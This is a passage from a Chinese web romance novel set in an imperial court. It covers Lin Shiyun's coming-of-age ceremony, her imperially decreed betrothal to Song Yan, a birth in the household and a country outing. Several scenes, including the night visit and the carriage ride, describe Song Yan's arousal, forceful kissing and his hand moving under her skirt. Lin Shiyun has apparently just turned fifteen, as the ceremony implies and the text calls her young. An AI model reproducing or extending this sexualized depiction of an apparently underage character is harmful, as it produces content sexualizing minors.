宋晏忙讨饶,“不敢了,芸儿别生气,哥哥真的不敢了。” 宋晏嘴上是说着不敢了,就着那皎洁的月光林诗芸可是看的清楚,他衣摆还鼓着呢,没有弱下分毫! 林诗芸气啊,这人净想着这些乱七八糟的事! “芸儿别生气,哥哥真的是睡不着才来的,想到明日咱们便定亲了,哥哥高兴的恨不得昭告天下!” 林诗芸哼了一声放下了手,但脸上明显还是带着气的,下半身思考的狗东西!男人果然没一个好的! 宋晏看林诗芸脸色不好也不敢再作怪,忙将人抱在怀里,下半身支楞的那个东西终于老实了一些。 “芸儿可是被我吵醒的?是哥哥不对,哥哥太激动了。” 林诗芸撇撇嘴,也没再继续发作,只叹了口气道,“我也没睡着,就是想到之后要成亲离开侯府,心里五味杂陈的。” 她可不敢说自己对婚姻充满了怀疑。 宋晏一听这可不行啊,他还要跟芸儿商量早些成亲的事情呢! 他忙哄道:“成亲了咱们还可以回来,再说了,就住隔壁院子,你想回来便回来了,至于王府,咱们一月回去住上那么几日便好。” 反正他父母都不在,王府还是他们二人说了算。 林诗芸嗯了一声,声音还是闷闷的,“可是,可是,我就和姐姐们分开了呀,姐姐们也会有家庭,就不会像从前那么疼芸儿了。” 宋晏笑容无奈,他就知道在芸儿心中姐姐比他还重要。 他看着林诗芸郑重道,“可是芸儿有我了,我会加倍的疼你爱你,不会叫你受一点委屈,而姐姐们也都有夫婿来疼她们,虽然并不能像现在一般时时聚在一处,但是咱们府上没什么规矩,你想她们了便请她们来坐坐便是,或者你去,这些都是可以的。” 林诗芸嗯了一声,道理她都懂,但是她就是还会不舍得,她闻着宋晏身上的酒香,心里更气了,咬着牙道,“明日我及笄你还敢喝酒了?看来你是一点没把我放在心上!” 宋晏这个冷汗啊,蹭的一下就下来了,天地良心,就是把她放心上才会没忍住喝的酒啊,喝的还是果酒。 宋晏解释道,“我喝的果酒,真的,我发誓,我心里只有芸儿,就是因为太过激动才会喝了些酒水,没想到越喝越想,想到控制不住自己,这才翻墙进来了。” 林诗芸哼了一声,果酒?她不信,于是她眉眼一挑一把抓住了宋晏的衣领将人往下拉,嘴上道,“那我尝尝是不是果酒。” 她话还未说完唇角便被宋晏吞进腹中,梅子的甜蜜和着淡淡的酒香,将两人粘在一处,某个人的的欲望渐渐涨大,待两人分开时已经快要破衣而出了。 一吻结束,林诗芸喘着粗气坏笑着冲宋晏挑眉,“怎么办呢晏哥哥,你这样可还能翻墙啊?” 宋晏也不生气,一本正经的点头,“翻是能翻的,但是,哥哥还没亲够怎么办?” 于是他霸道的将人给拥进怀里,将她的笑容全部吃进嘴里,这一次,并不漫长…… 翌日一早林诗芸便被听雨早早的给哄了起来。 因着今日宾客众多,昨日宋晏还是收敛了一些的,林诗芸照了照铜镜,嗯,不错,今儿个嘴没肿。 她打着哈欠由着丫鬟往自己脸上抹着什么,心里想着今日得好好表现,可眼皮子还是耷拉着,一副没睡醒的模样。 可她不得不打起精神来,林父已经过来要带她去祠堂祭祀了。 祭祀完毕林诗芸稍稍能松口气,三个姐姐都陪着她,等候吉时的到来。 姚氏看着已经亭亭玉立长大成人的林诗芸,心中颇为感叹。 从前她做梦都没想过这个来时瘦瘦小小满手冻疮的小姑娘,能长成如今这般如花似玉的模样。 林诗芸比她生母更好看。 她集合了她生母同林父的所有优点,青出于蓝,倾城之姿,是叫人看了极舒服的美,娇娇软软的,还带了丝稚嫩。 林诗芸身上是专门定制的厚重礼服,一层一层的,繁琐的很。 可她今日是要换三套衣裳的。 她撇撇嘴,问一旁的姚氏道:“母亲,婚服是不是更繁琐?那我可不要在夏日里成婚,热都热死了。” 姚氏嗔了她一眼,“大喜的日子不准胡说,” 姚氏想到小女儿的亲事,心里叹了口气道,“你哪日成婚爹娘可说不得,估摸着陛下会叫钦天监合算吉日,你且安心,就宋晏紧张你的模样,母亲觉得他必不会选夏日的。” 林诗芸被姚氏说的脸都要红了。 姚氏倒是担心宋晏会将同小女儿的婚事定在大女儿前头,但是又摇摇头,宋晏再焦急应也不会如此失礼的。 姚氏又催促了小女儿两句便出去了,外头的宾客怕是到的差不多了。 林诗芸被三个姐姐围在一起叽叽喳喳说着待会的注意事项,林诗芸紧张的身上都要冒汗了。 终于,及笄礼开始了。 林诗芸深 吸口气,在满院宾客的注视下一脸从容的走上了台。 及笄知礼流程简单也复杂。 三加三拜,醴酒聆训拜谢来宾,也有在笄礼时取小字的,也有定亲之后再取的,“待字闺中”说的便是这个“字”。 初加,笄者着彩衣,天真烂漫,一拜父母养育之恩。 二加,笄者着素衣,纯真无瑕,跪拜正宾,尊师敬长。 三加,笄者深衣曲裾,端庄大气,跪拜国家报效祖国传承闻名。 待加笄完毕,笄者依次向长辈和全体宾客致谢,一声礼成,及笄之礼,至此圆满结束。 林诗芸跟在姚氏身后,一张脸笑到僵硬。 待她终于能松口气,便听外头传来一阵喧哗,圣旨到了。 宋晏亲自颁旨。 林诗芸笑看着打扮的跟只花孔雀似的宋晏,紫袍在身玉冠红带,俨然一副开了屛的模样。 宋晏回望着她,眸子里是满是深情。 侯府众人携众位宾客一同迎接圣旨,共同见证这一特殊时刻。 宋晏清清嗓子,朗声宣读圣旨。 奉天承运,皇帝诏曰,朕之亲侄宋晏,才高八斗,玉树临风,定安侯府四姑娘林诗芸,天姿国色,聪慧伶俐,二人情投意合,佳偶天成,朕观之,心中甚慰。今日特赐婚与二人,望二人举案齐眉,白头偕老,永结同心。责命礼部筹备大婚事宜,择良辰吉日,行大婚之礼,钦此! 宋晏亲手将圣旨颁到了林诗芸的手上,二人抬眸相视,林诗芸笑着挠了挠对方的手心,逗弄他道:“以后便请多指教啦,未婚夫。” 宋晏满面红光,“嗯,请多指教,我的未婚妻。” 因着周围之人甚多,不光有家人,还有一众凑热闹的各家长辈,二人只红着脸对视两眼,偷偷的在袖子底下勾了勾手指便分开了。 围观之人实在有点太多了,不好搞小动作。 林景行甚为贴心的帮林诗芸将圣旨请回祠堂,并且轻声嘱咐二人且忍忍,待招待过宾客之后再去说话。 林诗芸红着脸点头,转头便见宋晏被姚君远给拉走了。 此时不灌他酒,更待何时啊。 林诗芸也不去管,反正在自己府上呢,喝不醉的。 宋晏确实是有数的,他浅尝则止,除了几位长辈的酒,其余的他是一口都没喝的,任凭姚君远郑子墨几个拿姐夫的桥,宋晏都只是拿白水对付,谁说了也没用。 待一众宾客散去,林诗芸也换上了轻便舒服的衣裳,一身桃粉色长裙穿在身上,俨然一颗成熟待摘的水蜜糖,只一眼,宋晏便觉得呼吸都急促了。 林诗芸满目星光,笑意盈盈的看着他,小手主动勾住了他的手指,踮起脚尖在他耳旁轻声道:“如此良辰美景,值得纪念的日子,要不要找个地方亲个嘴啊我的未婚夫。” 【正文完】 第69章 宾客散尽,林诗芸牵着准夫婿的手回了二房。 林父也吃了酒刚回来,正满脸兴奋地同妻子说着今日之事。 叶姨娘捧着个大肚子,激动地坐在一旁听着。 她生产也就这几日的事情,所以只去接了圣旨,旁的姚氏是没敢叫她去的。 只是她心里也焦急,早早的候着,只为多听几句今日的热闹。 这是芸儿的及笄之礼,芸儿是她的孩儿,不是亲生,更似亲生。 她的芸儿已经长成了大姑娘,还要嫁给端王世子,是未来王妃,叫她怎么能不激动呢。 林诗芸便是知道她的心思,这才又将宋晏给带了过来。 姨娘还未见过宋晏呢。 林诗芸的小手被宋晏牢牢的攥在手里,叽叽喳喳的说着今日的事情,顺便抱怨了两句礼服的繁琐,又直接对宋晏道:“晏哥哥,咱们大婚的日子可不能选在夏日里啊,那一层层的婚服,怕是能热死人的。” 二人已定亲,牵手也不会有旁人说什么,又在自己府上,行事便随意了些。 林诗芸也不害臊,言语间俱是认真模样。 宋晏想到大婚,心情更好,他其实早就叫钦天监算了日子了,五月初二和冬月十六,他正在思趁怎么哄着林诗芸同意婚期定在五月呢。 林诗情的婚期在四月,姐妹俩相隔一月出嫁,并无不妥啊。 宋晏笑道,“嗯,都听芸儿的。” 五月才刚热起来,初二那日应还好,不会太热。 林诗芸满意的点头,心里对大婚这事便放下了,反正姐姐们先出嫁,她不着急。 可惜了了,宋晏急的裤子都快撑破了。 一进二房的院子宋晏便自觉松开了林诗芸的手,倒不是他不想牵,他是怕叫老丈人看到不好,毕竟今日刚定亲,在长辈面前也不好太过放肆。 宋晏进门后,衣摆一撩便跪下了。 他这一跪,着实给林父和姚氏吓了一跳。 虽说确实是女婿,但人家也是未来亲王啊,身份比他们高了可不是一点半点。 二人连忙叫他起来,嘴里直呼于礼不合。 宋晏却坚持跪下了,对着二人郑重道:“宋晏双亲皆不在京中,我与芸儿的婚事还得岳父岳母多多操持,宋晏有做的不合适的地方,还请岳父岳母教导。” 说完便是重重一拜。 林诗芸在一旁扶着姨娘的胳膊看戏,小嘴巴还叨叨着问姨娘可满意宋晏。 叶姨娘一双眼睛粘在宋晏身上,仔细的打量,不住点头,好,是真的好,就这副长相,确实再没有比端王世子再配得上芸儿的了。 虽说宋晏从前来过侯府多次,却是不能随意进后院的,所以叶姨娘未曾同宋晏见过面。 林父和姚氏心中甚慰,受了宋晏这一跪后便将人给扶了起来。 林父又夸赞了宋晏两句,心里对宋晏也是越来越满意。 姚氏看到一旁眼泪汪汪的叶姨娘,笑着对宋晏介绍,“这位便是抚养芸儿的叶姨娘,晏儿应是还没有见过。” 姚氏说完,宋晏便对着叶姨娘又要行跪拜之礼。 这下可是真不行,叶姨娘妾室的身份摆在那里,哪敢受宋晏的跪拜。 不光叶姨娘自己被吓到了,林父和姚氏也说什么都不让宋晏跪的。 宋晏无法,只好躬身给叶姨娘行了一礼,郑重道:“请姨娘放心将芸儿交给宋晏,宋晏必会全心全意照顾好芸儿,一生一世决不食言。” 叶姨娘想躲开,却被林诗芸给按着受了这个礼。 她自七岁开始便是姨娘教养,每次生了病都是姨娘衣不解带的照顾着,宋晏行这一礼是应该的,也好叫姨娘放心,她的未婚夫婿,可是天底下顶顶好的男子呢。 叶姨娘激动的眼泪噗噗簌簌的掉,嘴里不住的说着好好,世子很好,世子很好。 姚氏怕叶姨娘一激动再动了胎气,忙叫丈夫带宋晏去喝茶,自己则上前从林诗芸手里接过叶姨娘。 不料她刚要说些什么,便听叶姨娘哎呀一声,竟是羊水破了…… 幸亏林父正抓着宋晏叫他跟着自己走,才没有叫宋晏看到羊水破了的场景,可听到林诗芸慌张的声音,宋晏转身时还是看到了那一地的水渍,心灵受到了极大的冲击 他不会闯祸了吧? 刚才还同他好好说这话,这就要生了? 羊水是因为他那一礼才破的? 姚氏有条不紊的指挥着婆子扶着叶姨娘进产房,耳畔时不时传来叶姨娘疼的抽气声,林诗芸着急忙慌的想要跟去被王妈妈给拦了下来,理由是还未成婚的姑娘,是不能进产房的。 宋晏的脸有些白,被吓的。 不是,生孩子这么吓人吗? 林父就有经验多了,他捋着胡子对宋晏解释道,“这是羊水破了,要生了,无事,叶氏的预产期本就在这两日了,不是因为见了你,不必担心。” 言罢又顺手将焦急的又要往产房奔的小女儿给揪了回来。 林诗芸焦急的转圈圈,她是知道产房用不上她,但是生孩子的是她姨娘,她担心啊。 她还记得姚氏生小弟时,那可是生了一天一夜呢,给她和姐姐都吓坏了。 林父道:“你姨娘那有你母亲呢,女子生产都这样,没有个一日的功夫是生不下来的,你一个姑娘家别跟着往前头凑,产婆奶娘早就备好了,你去了也只能是干着急,去,陪着宋晏四处逛逛,再不济送宋晏去客房休息一会,这里有爹在呢,你俩且出去吧。” 于是俩人被林父给撵走了。 二房的管家引着宋晏去客房小憩,林诗芸心不在焉的跟着,不住的往产房的方向看。 管家极有眼力见,知道此时的自家姑娘急需关怀,将人送到便走了,顺便将门带上,并叫下人都离远一些,别打扰小两口培养感情。 宋晏将林诗芸抱在怀里,内心对生子这事也是产生了阴影。 每个女子生产时都这么痛苦吗? 离的很远,他都还能听到叶姨娘的哀嚎,宋晏突然就想母亲了,母亲生他时才十七岁,她得多痛啊。 宋晏轻轻亲吻着林诗芸的头发,“以后芸儿还是不要生孩子了,如此痛苦,不生也罢。” 宋晏的话叫林诗芸懵逼了一瞬,她啊了一声,知道他也是被吓到了,皱着眉头思趁了半晌才道:“生还是要生的,不然就咱们两个过一辈子多无趣啊,但是只生一个便好,多了闹心。” 宋晏点点头,还是固执道:“那便过几年再说吧,芸儿还小呢,” 林诗芸在他怀里嗯了一声,声音还是闷闷的。 临睡前叶姨娘都还未生,林诗芸躺在床上翻来覆去的。 宋晏走后她又去了产房外头站了半晌,最后是被姐姐硬给拉回来的。 宋晏知道她定是担心的睡不着觉的,所以又又翻窗进来了。 林诗芸半躺在床上看着他,一点都不意外。 她伸出双手来,撅着嘴巴要他抱。 宋晏脱鞋上床将她搂住,她安静地窝在他的怀里,模样乖觉的不像话。 宋晏轻轻的拍着她的脊背哄她安睡。 兴许是今日实在累,也兴许是宋晏的怀抱太过温暖,没多久林诗芸便在宋晏的怀里睡着了。 她没有丝毫不适,小脸红扑扑的,睡的很是安稳踏实。 宋晏见她睡着,静静地端详了一会她的睡颜,轻轻地亲吻了两下额头这才离开。 叶姨娘是半夜生的,林诗芸睁开眼睛便询问此事,听雨笑着道:“姨娘子时刚过便生了,生了个小公子,姑娘用了早膳再过去,此时姨娘可能还未醒呢。” 听雨的娘是二房的管事婆子,一早便来给四姑娘报喜了,顺便给听雨絮絮叨叨了一阵子,听雨笑着道:“奴婢娘说姨娘没受太大的罪,才四五个时辰便生了,小公子非常康健,奶娘喂过便睡了,二爷和夫人都去看过了,您且放心。” 林诗芸点点头,这才想到昨夜宋晏来过的事情,她看看身旁的位置,毫无痕迹,点点头,不错,还知道给伪装好。 林诗芸用过早膳便去了姨娘的院子,彼时姨娘已经醒了,屋子里还有没散的血气,林诗芸看着脸色煞白的姨娘,心疼的很,眼泪啪嗒啪嗒的便开始掉,陈妈妈哎吆哎吆的忙哄,“姑娘哭甚,姨娘平安生下小公子,姑娘可不兴惹姨娘哭啊,月子里是不能哭的。” 林诗芸立马便不哭了,抽抽鼻子道:“芸儿担心姨娘嘛,生孩子好吓人。” 叶姨娘气色虽不好,但是精神却是不错的,笑看着已经长大林诗芸,招招手叫她坐在自己身旁,“有甚好担心的,府医一直在外间守着的,产婆也是一早就请来的,你看姨娘这不是好好的,再说了,女子哪有不生孩子的,这一关都是要过的,芸儿不必担心。” 林诗芸点点头,这才挪开自己的眼睛,看了姨娘旁边刚出生的小弟一眼。 林诗芸看着皱巴巴的小团子,撇着嘴道:“小弟弟怎么跟只猴子似的,” 一点也不好看。 陈妈妈无奈的看着自家姑娘,刚要张口,便听进来的姚氏进来了,姚氏看着林诗芸道:“还说人家丑呢,也不知是谁,小时候又瘦又小干巴巴一个,还不是叫你姨娘给养成了花容月貌了。” 林诗芸抿着嘴起身抱着姚氏的胳膊嘿嘿的笑着,“母亲说的是,女儿就是随口一说,小弟弟长长就好看了,芸儿知道的。” 姚氏点了点林诗芸的额头,叫她不准作怪。 叶姨娘起身要行礼,姚氏忙将她按下,“你坐月子呢,不准多礼。” 小家伙哇哇的哭了两声,声音还挺洪亮,奶娘忙上前将孩子抱去喂奶了。 这时王妈妈同几个丫鬟进来了,每人手上都端着个托盘。 产房分里外间,九月并不冷,所以丫鬟们进来并没有带来什么寒气。 姚氏笑着看了林诗芸一眼才对叶姨娘道:“这都是咱们女婿一早差人送来的,极品血燕,还有那宫里贵人才能吃上的阿姣,都是对产后女子大补的东西,你且好生养着,女婿说吃没了他再差人给送。” 林诗芸满意点头,宋晏还挺会来事的,不错,想的挺周到。 叶姨娘忙摆手笑道:“妾哪能用的了这么多了,您倒是留下一些也好补补身子,” 姚氏脸上的笑容更加满意了,拍着叶姨娘的手道:“咱们那女婿哪是会失礼的,送了两份过来,哎呀,咱们也是享了芸儿的福了。” 林诗芸躲着脚道了句她明日再来看姨娘便跑了,真是的,连母亲也打趣她! 洗三过后林诗芸便放下了心,姨娘的气色一日比一日好,小弟弟也见风长,一日比一日好看。 宋晏俨然成了府上常客,也不多待,多数给林诗芸送些小物件便走。 这日宋晏在定安侯府的大门处等着林诗芸。 他们几日前便约好了去庄子上游玩,宋晏早两日便叫厨子过去做准备了,他搜罗的各地美食方子,如今终于能正大光明的同芸儿一同享用。 宋晏来的早,靠在马车上等芸儿出来。 可下一刻他就黑了脸。 哒哒的几声马蹄声传来,姚君远吁的一声停在了他身前。 姚君远一脸坏笑的看着宋晏,“吆,今日还得多谢晏哥儿邀请咱们几个出来游玩,哥几个可是一接到消息立马就赶来了。” 郑子墨早已下了马,对着宋晏抱拳,“还是世子想的周到。” 宋晏恼火,周到个屁的周到!他是来接芸儿游玩!他们几个跟着作甚! 宋晏的脸色不太好,没好气的白了二人一眼,姚君远也不生气,伸手搂住了兄弟的肩膀,“别那么小气吗,来,收敛一下表情,这可是芸儿邀请姐妹几个跟着的啊,跟咱们兄弟几个可没关系。” 对,往芸儿身上推就对了,不然他还真能去质问? 姚君远冲郑子墨挑眉,二人心照不宣的对视一眼,嗯,标准答案! 那边魏承泽也下了马车,同三人相互见礼,自订婚之后他也是侯府的常客了,同三人已经熟悉。 宋晏面无表情的听三人寒暄,终于在一炷香后看到林诗芸姐妹四个出了门。 各人去迎接各人的未婚妻,林诗芸笑着抱着宋晏的肩膀撒娇。 “晏哥哥早就到了?怎得不进去等?晒不晒?” 宋晏一见林诗芸便换了脸色,他看着她今日的明艳装扮心情甚好,轻声道,“刚到,并不晒?芸儿可同哥哥坐一个马车?” 林诗芸点点头,她是愿意的,但她还是转头问林诗瑶自己能不能同宋晏坐一个马车。 林诗瑶自然应允,都未婚夫妻了,乘同一架马车是太过平常的事情。 于是,各家未婚夫有样学样, 将各自的未婚妻请上了自家的马车。 林诗芸今日穿的像颗葡萄一般,浑身上下都是紫的,她看着茶桌上葡萄捏起了一颗道,“晏哥哥,你看,我今日的打扮像不像这颗葡萄?” 说完自己嘿嘿的笑了起来,宋晏伸手搂住了她的腰,好叫她不要东倒西歪的,伸手刮了刮她的鼻尖,“嗯,像,芸儿让哥哥尝尝这颗葡萄甜不甜可好?” 言罢便低下头吻了吻她的唇,将她的笑容一起吃进了嘴里。 他细细舔舐着她的唇瓣,分开后一本正经道,“嗯,果然是一颗极甜美的葡萄。” 林诗芸哼了一声,对于他的亲吻早已习惯,她将真的葡萄送进嘴里,果然又大又甜的,汁水充盈。 她用帕子擦了擦手,坏笑着又捏起一颗放在宋晏的唇边,“晏哥哥尝尝,是真的葡萄甜还是我甜呀。” 宋晏直接张开嘴将她的手指同葡萄一同含在嘴里,又一把将她捞进怀里。 林诗芸坐在宋晏腿上,手指被他轻轻吸吮着,调戏不成反被调戏了,林诗芸羞恼的叫他放开自己的手指。 宋晏如她所愿,林诗芸发现宋晏已经将葡萄皮给吃了,桃花眼眨巴着,双手勾住了他的脖颈坏笑道,“晏哥哥你吃葡萄不吐葡萄皮哦,葡萄皮不涩吗?” 宋晏却是一本正经的摇了摇头,大手在她纤细的腰间轻轻摩挲着,“葡萄皮涩不涩的哥哥不知道,不过芸儿想不想知道,哥哥色不色?” 林诗芸眯着眼睛嘿嘿一笑,低头轻轻吻了吻他的唇,舌尖舔了舔他的唇瓣,眯着眼睛笑道,“甜的,不涩。” 宋晏嗯了一声,“芸儿的方法不对,哥哥教你好不好。” 言罢也不等林诗芸回应,大手掐着她的腰便吻了上去,另一只手还在林诗芸沉浸在吻里时十分不老实的钻进的她的裙摆,以实际行动告诉她,他是色还是不色。 林诗芸被亲晕了。 她从没感受过宋晏如此的急色,他的吻十分霸道,叫她喘不过气来,她跟着他的舌尖飞舞,只觉得整个人像是在天上盘旋,一股热意从下而上,叫她不自觉的发出奇怪的声音来。 待她差点憋过气时宋晏才离开了她的唇瓣,些许银丝在唇边拉扯,林诗芸喘了几口气这才感受到他的大手已经与自己肌肤相贴,心道不好,小手拍了拍他作怪的大手,好半晌才将他推开。 她坐在他身上喘着cu气,面目春色,气鼓鼓的望着他,“晏哥哥是臭流氓,大色狼!” 宋晏却挑眉委屈的望着她,“是芸儿问哥哥色不色的,哥哥以实际行动告知芸儿答案,芸儿可不能生气。” 林诗芸气的锤了他两下,可是一动她又发现了不对……她屁股下面…… 林诗芸气极,赶紧从他身上下来,坐在一旁不理他了。 宋晏轻吐口气,努力平复自己,笑看着林诗芸道,“芸儿还小,哥哥不急,慢慢教芸儿可好?” 林诗芸连耳根都红了,她没回他的话,低着头坐到了宋晏对面,倒了杯凉茶递了过去,“赶紧喝了冷静冷静,幸亏这路程遥远,不然叫我几个姐姐看到了,非打你不可。” 宋晏笑看着她害羞的模样,心说那三个家伙定力还不如自己呢,想必早就亲上了。 庄子一众奴仆早就等在外头了。 都是王府的老人,因着自家主子的婚事终于尘埃落定,俱是喜气洋洋的。 王府的厨子更是在今日拿出了看家本事,给林诗芸吃的是摇头晃脑的。 当然了,众人都很满意这一餐。 席上,各人照顾各人的未婚妻。 除了分外忙活的林诗芸。 她一会指着这道甜口的说大姐姐爱吃,然后夹菜,一会又指着那道说二姐姐爱吃,然后夹菜。 三个姐姐夹了个遍最后才想起了未婚夫。 于是夹了一道自己爱吃的叫宋晏尝尝。 宋晏满意的放入嘴中,一脸享受。 三个姐姐忍俊不禁,还真是一个作一个宠,有芸儿在,以后宋晏的日子必定鸡飞狗跳十分精彩。 用完膳后四对情侣便分散开了。 林诗芸同宋晏打算上山挖竹笋。 林诗芸不知秋日有没有竹笋,还是想去碰碰运气,一旁王府的管家忙道:“有的有的,世子妃您只管去,” 听雨接过管家手里的篮子,干劲十足。 这边上一对上春山,那边一对共乘一匹马儿驰骋天地,一对在乡间散步,一对泛舟湖上,总之,就是成双成对羡煞旁人。 林诗芸同宋晏上了山,听雨先一步去寻找竹笋,林诗芸想找找附近有没有野果子,宋晏牵着她的手,二人在山间小心的寻找着。 结果二人果子没找到,倒是碰到了熟人。 周围都是宋晏的暗卫,暗卫早就发现了两位,只一眼便认出是宋宝珠同孟云上,暗卫们非常默契的装作没有看到。 林诗芸兴奋的看着崴了脚正同孟云上撒娇的宋宝珠,一把将要上前的宋晏给扯住了。 宋晏笑容无奈,由着她拉着自己蹲在大树后头偷看。 大树粗壮,很好的将二人给隐藏起来。 宋宝珠噘着嘴,眼泪汪汪的坐在地上,孟云上皱着眉头仔细查看她脚腕的伤势,扭的有些厉害,已经红肿起来了。 他看着这细嫩白皙的脚腕,大手轻轻的覆了上去,想帮她揉一揉。 结果刚一碰到宋宝珠便疼的抽了一口冷气,孟云上看着她因为疼痛而咬住的唇,眸中水波潋滟,只怕是下一瞬便要掉下泪来。 孟云上眸色微动,再看向宋宝珠脚腕的时候喉结不自觉滚动,手上的动作更加轻柔,他看着她道:“我送你下山去看大夫,你,你别哭,” 宋宝珠看着他,松开了被自己咬的愈发红润的唇瓣,撅着嘴娇滴滴道:“那你背着我。” 孟云上的目光闪了闪,闷闷的嗯了一声蹲在了宋宝珠身前。 宋宝珠顿时换了副神色,抿着唇角笑着爬上了孟云上的后背。 孟云上背着宋宝珠,他身体有些僵硬。 宋宝珠身上淡淡的花香和着丝丝牛奶的香气只往他鼻子里钻,叫他浑身躁动起来。 宋宝珠趴在他坚实宽阔的后背上弯了眉眼,她的双手故意抱紧了他的脖颈,宋宝珠低头看着他红透了的耳尖,红着脸在他耳边低声道:“孟云上,咱们这算有了肌肤之亲,你,你可要对我负责啊。” 过了好久,久到宋宝珠都以为自己又要失败的时候,才听到孟云上的回答,“我很穷,官也很小,你若是不嫌弃的话,我,我娶你” 林诗芸艳羡的看着离去的二人,眼珠子一转便坐在了地上。 宋晏宠溺的望着她,林诗芸撅着嘴巴,“芸儿腿麻了。” 宋晏也不拆穿她,只是温柔的笑道,“嗯,芸儿腿麻了,哥哥背着芸儿去找野果好不好?” 林诗芸顿时眉开眼笑的伸出了双手。 宋晏笑着背过了身子,单膝跪地将林诗芸背了起来。 林诗芸笑嘻嘻的趴在他背上,心情十分好。 二人行走在崎岖的山间,杂草丛生,时而碰到不明大树伸过来的枝丫,时而有飞过来的小虫。 他们躲开了危险,扫清了障碍,踏过杂草,也越过尖锐的石头,最终来到一条平缓的山路。 林诗芸趴在宋晏的肩头,像一只叽叽喳喳的小鸟,乐此不疲的说着话。 “晏哥哥,” “嗯。” “你会一直这么背着我吗?有危险也不放开?” “嗯,哥哥会一直背着芸儿,有危险也不会放开,哥哥和芸儿会永远在一起。” “啊,可是永远有多远呢?” “永远啊,大概就是生生世世,永不分离。” “嗯……好吧,那芸儿要和晏哥哥永远在一起,生生世世,永不分离” 正文完。